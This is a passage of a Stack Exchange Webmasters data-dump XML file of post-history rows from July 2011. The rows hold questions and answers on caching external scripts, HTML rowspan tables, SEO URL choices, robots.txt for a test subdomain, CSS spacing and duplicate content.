GZip)&#xD;&#xA;&gt; &#xD;&#xA;&gt; ajax.googleapis.com: 1 component,&#xD;&#xA;&gt; 78.6K (27.1K GZip)&#xD;&#xA;&gt; &#xD;&#xA;&gt; www.scirra.com: 1 component, 8.0K&#xD;&#xA;&gt; (3.3K GZip)&#xD;&#xA;&#xD;&#xA;This answer on SO:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/1439042/how-can-i-add-expire-headers-for-scripts-that-are-not-on-my-server/1439128#1439128&#xD;&#xA;&#xD;&#xA;Suggests having an intermediatory caching script, which fetches these and serves them from your own server.&#xD;&#xA;&#xD;&#xA;Thoughts?  If you're a speed nut like me can we expect to shave some loading time off for the users at the expense of our bandwidth?" />
  <row Id="39418" PostHistoryTypeId="1" PostId="16534" RevisionGUID="6c610e3d-557a-4fc8-a697-ff971b266ae8" CreationDate="2011-07-07T13:08:45.597" UserId="5727" Text="Cache external static scripts?" />
  <row Id="39419" PostHistoryTypeId="3" PostId="16534" RevisionGUID="6c610e3d-557a-4fc8-a697-ff971b266ae8" CreationDate="2011-07-07T13:08:45.597" UserId="5727" Text="&lt;cache&gt;&lt;speed&gt;&lt;page-speed&gt;" />
  <row Id="39420" PostHistoryTypeId="2" PostId="16535" RevisionGUID="0b3f389c-6859-4535-9f23-41444aaff4a9" CreationDate="2011-07-07T13:09:48.247" UserId="8705" Text="I know its possible to spread 1 cell across multiple rows using the rowspan attribute, however is it possible to spread 2 cells evenly across multiple rows, without resorting to a nested table?" />
  <row Id="39421" PostHistoryTypeId="1" PostId="16535" RevisionGUID="0b3f389c-6859-4535-9f23-41444aaff4a9" CreationDate="2011-07-07T13:09:48.247" UserId="8705" Text="Can I spread 2 cells across 3 rows in an HTML table?" />
  <row Id="39422" PostHistoryTypeId="3" PostId="16535" RevisionGUID="0b3f389c-6859-4535-9f23-41444aaff4a9" CreationDate="2011-07-07T13:09:48.247" UserId="8705" Text="&lt;html&gt;&lt;table&gt;" />
  <row Id="39423" PostHistoryTypeId="2" PostId="16536" RevisionGUID="eb62f6c4-7e1a-4e27-a16c-64941a05b4c2" CreationDate="2011-07-07T13:13:21.910" UserId="1253" Text="Sure. `rowspan` will honor the width set for the column it is used in. In other words, if the first column in the example below is 200 pixels wide, then any table cell in that column, even if it uses `rowspan` will also be 200 pixels wide.&#xD;&#xA;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;        td {border: 1px solid #000;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;table&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td rowspan=&quot;2&quot;&gt;This spans two rows but only one row wide&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;    &lt;/table&gt;&#xD;&#xA;&#xD;&#xA;If that isn't what you're looking for then we'll need you to better explain why rowspan isn't what you're looking for." />
  <row Id="39424" PostHistoryTypeId="5" PostId="16536" RevisionGUID="6de75090-0465-454a-b7e6-bc682cba0a5d" CreationDate="2011-07-07T13:19:36.647" UserId="1253" Comment="added 144 characters in body" Text="Sure. `rowspan` will honor the width set for the column it is used in. In other words, if the first column in the example below is 200 pixels wide, then any table cell in that column, even if it uses `rowspan` will also be 200 pixels wide.&#xD;&#xA;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;        td {border: 1px solid #000;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;table&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td rowspan=&quot;2&quot;&gt;This spans two rows but only one row wide&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;    &lt;/table&gt;&#xD;&#xA;&#xD;&#xA;[This page][1] is old but still explains how this works very well.&#xD;&#xA;&#xD;&#xA;If that isn't what you're looking for then we'll need you to better explain why rowspan isn't what you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.angelfire.com/fl5/html-tutorial/tables/rowspan.htm" />
  <row Id="39425" PostHistoryTypeId="2" PostId="16537" RevisionGUID="0d0bb992-51de-4953-bd14-f3340af3f3e7" CreationDate="2011-07-07T13:21:39.297" UserId="1253" Text="Bandwidth is almost a commodity at this point. Especially if your [compressing your file][1]s before sending them to the user. And since page speed has been proven to affect not only [search rankings][2] but, more importantly, [conversion rates][3], I would say this is not a bad strategy to employ. Just make sure your caching engine accounts for updates to any of the external scripts you are caching. Being out of sync with them may cause undesirable results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4516/should-i-use-gzip&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&#xD;&#xA;  [3]: http://www.dzone.com/links/r/web_performance_optimization_is_the_new_seo.html" />
  <row Id="39426" PostHistoryTypeId="2" PostId="16538" RevisionGUID="b1fd1051-b8ef-4064-af85-4b80b8fcbea0" CreationDate="2011-07-07T13:31:26.403" UserId="7198" Text="Moving *unique* static files to your own domain to reduce domain lookups and control expire headers is a good idea, provided you're prepared to check the master files for changes periodically.&#xD;&#xA;&#xD;&#xA;Moving *common* static files to your own domain is not always a good idea, because you lose the benefit if they're already cached from another site the user many have visited. (e.g. Google Web Fonts and the JavaScript files hosted within the [Google Libraries API.](http://code.google.com/apis/libraries/))&#xD;&#xA;&#xD;&#xA;[Aside: To my knowledge, pingdom measures server *response* time, not page load time, but 0.6 seconds still sounds fast!]&#xD;&#xA;" />
  <row Id="39427" PostHistoryTypeId="5" PostId="16538" RevisionGUID="e24537d7-eb11-4586-b826-eb5fd422d0cb" CreationDate="2011-07-07T13:38:23.433" UserId="7198" Comment="typo" Text="Moving *unique* static files to your own domain to reduce domain lookups and control expire headers is a good idea, provided you're prepared to check the master files for changes periodically.&#xD;&#xA;&#xD;&#xA;Moving *common* static files to your own domain is not always a good idea, because you lose the benefit if they're already cached from another site the user may have visited. (e.g. Google Web Fonts and the JavaScript files hosted within the [Google Libraries API.](http://code.google.com/apis/libraries/))&#xD;&#xA;&#xD;&#xA;[Aside: To my knowledge, pingdom measures server *response* time, not page load time, but 0.6 seconds still sounds fast!]&#xD;&#xA;" />
  <row Id="39428" PostHistoryTypeId="5" PostId="16537" RevisionGUID="7cb3a34e-7abc-4330-b39e-dd32fa1bb06b" CreationDate="2011-07-07T13:49:12.270" UserId="1253" Comment="added 2 characters in body" Text="Bandwidth is almost a commodity at this point. Especially if you're [compressing your file][1]s before sending them to the user. And since page speed has been proven to affect not only [search rankings][2] but, more importantly, [conversion rates][3], I would say this is not a bad strategy to employ. Just make sure your caching engine accounts for updates to any of the external scripts you are caching. Being out of sync with them may cause undesirable results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4516/should-i-use-gzip&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&#xD;&#xA;  [3]: http://www.dzone.com/links/r/web_performance_optimization_is_the_new_seo.html" />
  <row Id="39429" PostHistoryTypeId="2" PostId="16539" RevisionGUID="3b46a17b-5464-4c65-8509-fad0c3f04c95" CreationDate="2011-07-07T14:02:10.067" UserId="8847" Text="I have a GoogleSite binded to a Blogger account, and a GoogleGroups account (so googleish of me)&#xD;&#xA;&#xD;&#xA;Google webmaster tools adds without any trouble the site ant the blog but complains when I try to add my GoogleGroup. The app asks me to validate the ownership of the googlegroup i've created by injecting an htmp into the page or adding a meta tag. &#xD;&#xA;&#xD;&#xA;But googlegroups does not allow any of the options requested...&#xD;&#xA;&#xD;&#xA;Any known workaround?" />
  <row Id="39430" PostHistoryTypeId="1" PostId="16539" RevisionGUID="3b46a17b-5464-4c65-8509-fad0c3f04c95" CreationDate="2011-07-07T14:02:10.067" UserId="8847" Text="Google Groups in Google Webmaster Tools?" />
  <row Id="39431" PostHistoryTypeId="3" PostId="16539" RevisionGUID="3b46a17b-5464-4c65-8509-fad0c3f04c95" CreationDate="2011-07-07T14:02:10.067" UserId="8847" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="39432" PostHistoryTypeId="5" PostId="16536" RevisionGUID="91870765-1001-4a51-af56-d39e0013f89f" CreationDate="2011-07-07T14:08:45.200" UserId="1253" Comment="added 931 characters in body" Text="Sure. `rowspan` will honor the width set for the column it is used in. In other words, if the first column in the example below is 200 pixels wide, then any table cell in that column, even if it uses `rowspan` will also be 200 pixels wide.&#xD;&#xA;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;        td {border: 1px solid #000;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;table&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td rowspan=&quot;3&quot;&gt;This spans two rows but only one row wide&lt;/td&gt;&#xD;&#xA;            &lt;td rowspan=&quot;3&quot;&gt;This spans two rows but only one row wide&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;    &lt;/table&gt;&#xD;&#xA;    &#xD;&#xA;Here's an example with a cell spreading across multiple rows and columns    &#xD;&#xA;    &#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;        td {border: 1px solid #000;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;table&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td rowspan=&quot;3&quot; colspan=&quot;2&quot;&gt;This spans two rows but only one row wide&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/td&gt;&#xD;&#xA;        &lt;tr&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;            &lt;td&gt;This is one cell wide and high&lt;/td&gt;&#xD;&#xA;        &lt;/tr&gt;&#xD;&#xA;    &lt;/table&gt;&#xD;&#xA;&#xD;&#xA;[This page][1] is old but still explains how this works very well.&#xD;&#xA;&#xD;&#xA;If that isn't what you're looking for then we'll need you to better explain why rowspan isn't what you're looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.angelfire.com/fl5/html-tutorial/tables/rowspan.htm" />
  <row Id="39433" PostHistoryTypeId="2" PostId="16540" RevisionGUID="8861f84c-6e33-4e9a-aa4e-b9abcaff623a" CreationDate="2011-07-07T14:09:04.450" UserId="1643" Text="I suspect that's not possible. Google groups is a discussion site, so they you can't do much to customise it. Sites and blogs are designed so that you can change the look of pages, inserting tags or scripts." />
  <row Id="39434" PostHistoryTypeId="2" PostId="16541" RevisionGUID="fe0c15cd-b87e-4108-9bae-5592c7ec2307" CreationDate="2011-07-07T14:13:14.443" UserId="8847" Text="Is there a &quot;best tips to place better your site in Google searches&quot; book, online help, tutorial, pdf or whatever?&#xD;&#xA;&#xD;&#xA;Is there a &quot;best tips to place publicity in your Site&quot; book, online help, tutorial, pdf or whatever?&#xD;&#xA;&#xD;&#xA;Is there a binder to both in a all in one?&#xD;&#xA;&#xD;&#xA;Could you leave some of them here?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39435" PostHistoryTypeId="1" PostId="16541" RevisionGUID="fe0c15cd-b87e-4108-9bae-5592c7ec2307" CreationDate="2011-07-07T14:13:14.443" UserId="8847" Text="Google Search Positioning and AdSense" />
  <row Id="39436" PostHistoryTypeId="3" PostId="16541" RevisionGUID="fe0c15cd-b87e-4108-9bae-5592c7ec2307" CreationDate="2011-07-07T14:13:14.443" UserId="8847" Text="&lt;google-adsense&gt;&lt;google-search&gt;" />
  <row Id="39437" PostHistoryTypeId="2" PostId="16542" RevisionGUID="e5555044-cd9b-47df-be6d-e5dbf729c1b1" CreationDate="2011-07-07T14:15:18.647" UserId="1893" Text="Whenever I format a website according to a PSD file, &lt;br&gt;&#xD;&#xA;I always wonder if the space should be from the top element or the bottom one. &lt;br&gt;&#xD;&#xA;&#xD;&#xA;So if I have 2 elements that are seperated by some space, I normally choose &lt;br&gt;&#xD;&#xA;the top one, but I can't find a real reason not to choose the one on the bottom. &#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="39438" PostHistoryTypeId="1" PostId="16542" RevisionGUID="e5555044-cd9b-47df-be6d-e5dbf729c1b1" CreationDate="2011-07-07T14:15:18.647" UserId="1893" Text="CSS spaces, top element or bottom element?" />
  <row Id="39439" PostHistoryTypeId="3" PostId="16542" RevisionGUID="e5555044-cd9b-47df-be6d-e5dbf729c1b1" CreationDate="2011-07-07T14:15:18.647" UserId="1893" Text="&lt;css&gt;" />
  <row Id="39442" PostHistoryTypeId="17" PostId="16544" RevisionGUID="1c0dc9b0-733f-49cd-a693-59235e86a245" CreationDate="2011-07-07T14:36:19.270" UserId="-1" Comment="from http://stackoverflow.com/questions/6611877/include-component-inside-an-article-in-joomla" Text="" />
  <row Id="39443" PostHistoryTypeId="2" PostId="16544" RevisionGUID="a1de39ab-ac49-4dc9-b6b5-e26ff857cd9c" CreationDate="2011-07-07T14:04:04.827" UserDisplayName="user1212" Text="How can one include a component inside an article in joomla. &#xD;&#xA;&#xD;&#xA;I have tried using the Plugin Include Component in Joomla. I have a Phoca guestbook set up which works fine on its own. &#xD;&#xA;&#xD;&#xA;But when I try to include it inside an article using &#xD;&#xA;&#xD;&#xA;    {component url='index.php?option=com_phocaguestbook'}  &#xD;&#xA;It just does not display any component. &#xD;&#xA;&#xD;&#xA;This same procedure will work fine for other components. &#xD;&#xA;&#xD;&#xA;Any idea about what i am missing here? " />
  <row Id="39444" PostHistoryTypeId="1" PostId="16544" RevisionGUID="a1de39ab-ac49-4dc9-b6b5-e26ff857cd9c" CreationDate="2011-07-07T14:04:04.827" UserDisplayName="user1212" Text="include component inside an article in joomla" />
  <row Id="39445" PostHistoryTypeId="3" PostId="16544" RevisionGUID="a1de39ab-ac49-4dc9-b6b5-e26ff857cd9c" CreationDate="2011-07-07T14:04:04.827" UserDisplayName="user1212" Text="&lt;joomla&gt;" />
  <row Id="39446" PostHistoryTypeId="5" PostId="16384" RevisionGUID="389db274-a84e-4cd4-b6ba-a26b24f8656b" CreationDate="2011-07-07T14:45:06.997" UserId="5727" Comment="added 232 characters in body" Text="What are the laws on this?  If I have a simple registration form, can I have underneath it:&#xD;&#xA;&#xD;&#xA;    [x] Subscribe to the blog&#xD;&#xA;    [x] Email me when a new release is issued&#xD;&#xA;&#xD;&#xA;Auto checked?  Or do they need to be Opt In by law (I remember reading this somewhere).  If it makes a difference, we are registered in the UK, and our web server is also UK located.&#xD;&#xA;&#xD;&#xA;## Edit ##&#xD;&#xA;&#xD;&#xA;I'm not sure if people quite understand this question, what I mean is, can I have these check boxes checked by default?  I see a lot of sites doing this.  It will be presented in a 100% clear and non deceptive way." />
  <row Id="39448" PostHistoryTypeId="5" PostId="16475" RevisionGUID="f42378cb-603d-4444-b1fe-4b5173466d24" CreationDate="2011-07-07T15:01:06.077" UserId="7801" Comment="added an ideal solution" Text="Is there a way to automatically backup a website database, say once a month?&#xD;&#xA;&#xD;&#xA;I have cpanel and WHM running on all my shared hosting packages. It has a backup option but it's manual.&#xD;&#xA;&#xD;&#xA;Important info:&#xD;&#xA;&#xD;&#xA;1. **Needs to be Mac software**&#xD;&#xA;2. **I'm on shared hosting**&#xD;&#xA;3. **My FTP client is Transmit**&#xD;&#xA;4. **It needs to be a free solution**&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;We've got [Dropbox][1] so if there was some way to automatically grab the mysql databases say once a month that would be great. As all our other backups are there anyways. But in the first instance let's just try to get an automatic backup to my computer!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dropbox.com" />
  <row Id="39450" PostHistoryTypeId="5" PostId="16541" RevisionGUID="cf7881cb-79e3-4444-8ea7-dc2ce1baa2dd" CreationDate="2011-07-07T15:05:22.170" UserId="8847" Comment="adSense" Text="Is there a &quot;best tips to place better your site in Google searches&quot; book, online help, tutorial, pdf or whatever?&#xD;&#xA;&#xD;&#xA;Is there a &quot;best tips to place *AdSense* in your Site&quot; book, online help, tutorial, pdf or whatever?&#xD;&#xA;&#xD;&#xA;Is there a binder to both in a all in one?&#xD;&#xA;&#xD;&#xA;Could you leave some of them here?&#xD;&#xA;&#xD;&#xA;@Edit: Now adSense in the title is somehow has &quot;sense&quot;.&#xD;&#xA;" />
  <row Id="39451" PostHistoryTypeId="10" PostId="16541" RevisionGUID="4fa520ff-2254-4952-a3f1-2edfc2962e3e" CreationDate="2011-07-07T15:14:50.450" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39452" PostHistoryTypeId="2" PostId="16546" RevisionGUID="88afca67-9398-4170-a851-f24b5720b20b" CreationDate="2011-07-07T15:27:32.513" UserId="8848" Text="I'm working on a website that sells DYI products. 2 of the products categories are **save-paint** and **save-cabling**. Since the products can help you save money they could also be part of a **save-money** category. Assuming that the monthly search estimates for these 3 categories were as follows:&#xD;&#xA;&#xD;&#xA;**save-money**: 600K  &#xD;&#xA;**save-paint**: 300K  &#xD;&#xA;**save-cabling**: 150K&#xD;&#xA;&#xD;&#xA;What of the 2 following options would provide the best overall page ranking for the website?&#xD;&#xA;&#xD;&#xA;**option 1:** not use the **save-money** category at all to create more targeted URLs such as **/save-paint/product1** or **/save-cabling/product2** which wouldn't rank on **save-money** but would rank higher on the other 2 categories.&#xD;&#xA;&#xD;&#xA;**option 2:** be generic by combining the **save-money** category with the other 2 to create URLs such as **/save-money-on-paint/product1** or **/save-money-on-cabling/product2** which I guesewould rank average on all categories." />
  <row Id="39453" PostHistoryTypeId="1" PostId="16546" RevisionGUID="88afca67-9398-4170-a851-f24b5720b20b" CreationDate="2011-07-07T15:27:32.513" UserId="8848" Text="SEO: targeted or generic URLs performance question" />
  <row Id="39454" PostHistoryTypeId="3" PostId="16546" RevisionGUID="88afca67-9398-4170-a851-f24b5720b20b" CreationDate="2011-07-07T15:27:32.513" UserId="8848" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;url&gt;&lt;pagerank&gt;" />
  <row Id="39455" PostHistoryTypeId="25" PostId="16534" RevisionGUID="a66ca240-ea00-40c8-a5fb-236d415ed85c" CreationDate="2011-07-07T15:27:35.240" Comment="http://twitter.com/#!/StackWebmasters/status/88992562257477632" />
  <row Id="39456" PostHistoryTypeId="2" PostId="16547" RevisionGUID="147b1249-5769-46a8-839b-773947826191" CreationDate="2011-07-07T15:36:29.307" UserId="1253" Text="If you choose option 1 you will achieve higher results sooner since the competition for those keywords will likely be lower. &#xD;&#xA;&#xD;&#xA;If you choose option 2 you will potentially reach more users once you rank well for that search term but it will take you longer to achieve success as the competition will be tougher.&#xD;&#xA;&#xD;&#xA;I always recommend to start by targeting easier keywords to rank well for because it gets you traffic and potentially more opportunities to earn incoming links to your pages. Then as your site starts to rank well for those phrases, and long tail keywords, you can start to optimize for the more competitive phrases. In your example you can target save-money by creating pages using that in the URL and then using canonical URLs to prevent the duplicate content. Canionical URLs act like 301 redirects in that they do transfer PageRank, and thus likely incoming links, to the main page.&#xD;&#xA;&gt; Google will understand that the&#xD;&#xA;&gt; duplicates all refer to the canonical&#xD;&#xA;&gt; URL. Additional URL properties, like&#xD;&#xA;&gt; PageRank and related signals, are&#xD;&#xA;&gt; transferred as well. ([source][1]). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So by proxy you can boost the rankings of your save-cabling page by using a save-money-on-cabling page with canonical URLs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="39457" PostHistoryTypeId="4" PostId="16546" RevisionGUID="687725dd-948d-4f83-af57-de2e66c63a66" CreationDate="2011-07-07T15:41:10.120" UserId="1253" Comment="modified tags, minor text edits" Text="SEO: targeted or generic URLs performance" />
  <row Id="39458" PostHistoryTypeId="6" PostId="16546" RevisionGUID="687725dd-948d-4f83-af57-de2e66c63a66" CreationDate="2011-07-07T15:41:10.120" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;url&gt;&lt;pagerank&gt;&lt;page-ranking&gt;" />
  <row Id="39459" PostHistoryTypeId="5" PostId="16547" RevisionGUID="b0197858-0b55-4a46-8bc2-b16c8eecc483" CreationDate="2011-07-07T15:41:41.303" UserId="1253" Comment="added 14 characters in body" Text="If you choose option 1 you will achieve higher results sooner since the competition for those keywords will likely be lower. &#xD;&#xA;&#xD;&#xA;If you choose option 2 you will potentially reach more users once you rank well for that search term but it will take you longer to achieve success as the competition will be tougher.&#xD;&#xA;&#xD;&#xA;I always recommend to start by targeting easier keywords to rank well for because it gets you very targeted traffic and potentially more opportunities to earn incoming links to your pages. Then as your site starts to rank well for those phrases, and long tail keywords, you can start to optimize for the more competitive phrases. &#xD;&#xA;&#xD;&#xA;In your example you can target save-money by creating pages using that in the URL and then using canonical URLs to prevent the duplicate content. Canionical URLs act like 301 redirects in that they do transfer PageRank, and thus likely incoming links, to the main page.&#xD;&#xA;&gt; Google will understand that the&#xD;&#xA;&gt; duplicates all refer to the canonical&#xD;&#xA;&gt; URL. Additional URL properties, like&#xD;&#xA;&gt; PageRank and related signals, are&#xD;&#xA;&gt; transferred as well. ([source][1]). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So by proxy you can boost the rankings of your save-cabling page by using a save-money-on-cabling page with canonical URLs. (This requires you getting backlinks with the proper anchor text to actually work)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="39460" PostHistoryTypeId="2" PostId="16548" RevisionGUID="7b4556e1-e29e-47dd-a100-039e4abe87c9" CreationDate="2011-07-07T15:43:51.870" UserId="8849" Text="we are working on a new website and we forgot to disallow robots after putting the test version online, on a subdomain.&#xD;&#xA;now we are being already referenced by bots (google, yahoo...) and we dont want that for our test version which is not ready and finalized yet.&#xD;&#xA;My question is related to indexing:&#xD;&#xA;&#xD;&#xA; - is it ok if we disallow robots at this level without having any effect on the live website (same domain) when switching from allow all to disallow all?&#xD;&#xA; - can we use the 307 http status (Temporary Redirect)?&#xD;&#xA; - how long doest it take spiders to refresh their db (either disallow robots or 307 redirect)?&#xD;&#xA;&#xD;&#xA;Thanks !!" />
  <row Id="39461" PostHistoryTypeId="1" PostId="16548" RevisionGUID="7b4556e1-e29e-47dd-a100-039e4abe87c9" CreationDate="2011-07-07T15:43:51.870" UserId="8849" Text="How to temporarely remove a website from search engines?" />
  <row Id="39462" PostHistoryTypeId="3" PostId="16548" RevisionGUID="7b4556e1-e29e-47dd-a100-039e4abe87c9" CreationDate="2011-07-07T15:43:51.870" UserId="8849" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;robots.txt&gt;" />
  <row Id="39463" PostHistoryTypeId="2" PostId="16549" RevisionGUID="bd3282a8-c633-41ee-9283-8d02745a5514" CreationDate="2011-07-07T15:46:27.737" UserId="1253" Text="&gt;is it ok if we disallow robots at this level without having any effect on the live website (same domain) when switching from allow all to disallow all?&#xD;&#xA;&#xD;&#xA;Yes. Once you stop blocking the contents of the website it will be crawled again. But I would resubmit my site to Google and/or submit a XML sitemap just to make sure they know you now have content to index.&#xD;&#xA;&#xD;&#xA;&gt;can we use the 307 http status (Temporary Redirect)?&#xD;&#xA;&#xD;&#xA;That would work as well.&#xD;&#xA;&#xD;&#xA;&gt;how long doest it take spiders to refresh their db (either disallow robots or 307 redirect)?&#xD;&#xA;&#xD;&#xA;It varies. Newer sites will find they are crawled less frequently and changes made to the website are picked up slowly. I definitely wouldn't expect it to happen quickly. You'll find in questions asked here that it can take weeks or months to finally see results." />
  <row Id="39464" PostHistoryTypeId="2" PostId="16550" RevisionGUID="6bb84a4d-fcac-436e-bb94-59f103c6bc6d" CreationDate="2011-07-07T16:10:56.713" UserId="540" Text="If you don't want the site crawled *at all*, I'd suggest moving it to a *&quot;dummy&quot;* subdomain, and be sure to update the rules to ***NOT*** crawl it before putting the code there (and ideally ensure there are no links from the &quot;live&quot; site to the &quot;demo&quot; site.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    a347demo.example.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39465" PostHistoryTypeId="2" PostId="16551" RevisionGUID="13e04ec7-12fd-4374-b2cd-31bae11e8ac9" CreationDate="2011-07-07T16:15:17.317" UserId="540" Text="I would typically add it to the upper element as `padding-bottom:10px` (or whatever whitespace size you need.&#xD;&#xA;&#xD;&#xA;I find that I typically want &quot;any content after this&quot; to be a certain distance away.  very rarely do I find the reverse ideal. (although its an easy modification if needed)" />
  <row Id="39466" PostHistoryTypeId="17" PostId="16552" RevisionGUID="4a2b9df1-463e-42ba-b337-97810e1260ba" CreationDate="2011-07-07T16:16:46.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6611039/is-mysite-com-and-blog-mysite-com-treated-as-one" Text="" />
  <row Id="39467" PostHistoryTypeId="17" PostId="16553" RevisionGUID="16dc9b5d-4b90-44d1-85c5-e220ce931b59" CreationDate="2011-07-07T16:16:46.913" UserId="-1" Comment="from http://stackoverflow.com/questions/6611039/is-mysite-com-and-blog-mysite-com-treated-as-one" Text="" />
  <row Id="39468" PostHistoryTypeId="2" PostId="16553" RevisionGUID="352f6ee0-83fb-44c7-8bb0-dfca65d22d10" CreationDate="2011-07-07T14:12:06.977" UserDisplayName="Exploter" Text="Duplicate Content is identified on-line without any difference between IP addresses, hosting packages and URL`s.&#xD;&#xA;Will take a while for Google to discover that the content is similar at both sites and will punish you, or simply suppress results for one of the sites.&#xD;&#xA;The question is, with the same content whether organic Seo is the solution you need.&#xD;&#xA;PPC campaign will be perhaps a better solution for you?" />
  <row Id="39469" PostHistoryTypeId="2" PostId="16552" RevisionGUID="8652ff40-7c32-4153-8a29-8bb1dedf4df1" CreationDate="2011-07-07T13:03:32.797" UserDisplayName="user833540" Text="Friends,&#xD;&#xA;&#xD;&#xA;I have a site, say **trusty.com** and it's blog is **blog.trusty.com**. Please note trusty.com and blog.trusty.com are both hosted with different hosting companies and **have different IP Addresses**.&#xD;&#xA;&#xD;&#xA;If I have the **same content in both**  trusty.com and blog.trusty.com **will search engines flag this as duplicate content**, or will they assume it is the part of the same domain?&#xD;&#xA;&#xD;&#xA;If you are wondering why I have the same content on both locations, it is because it appears in different &quot;packaging&quot; in both places.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39470" PostHistoryTypeId="1" PostId="16552" RevisionGUID="8652ff40-7c32-4153-8a29-8bb1dedf4df1" CreationDate="2011-07-07T13:03:32.797" UserDisplayName="user833540" Text="Is mysite.com and blog.mysite.com treated as one?" />
  <row Id="39471" PostHistoryTypeId="3" PostId="16552" RevisionGUID="8652ff40-7c32-4153-8a29-8bb1dedf4df1" CreationDate="2011-07-07T13:03:32.797" UserDisplayName="user833540" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;&lt;yahoo&gt;&lt;seo-friendly&gt;" />
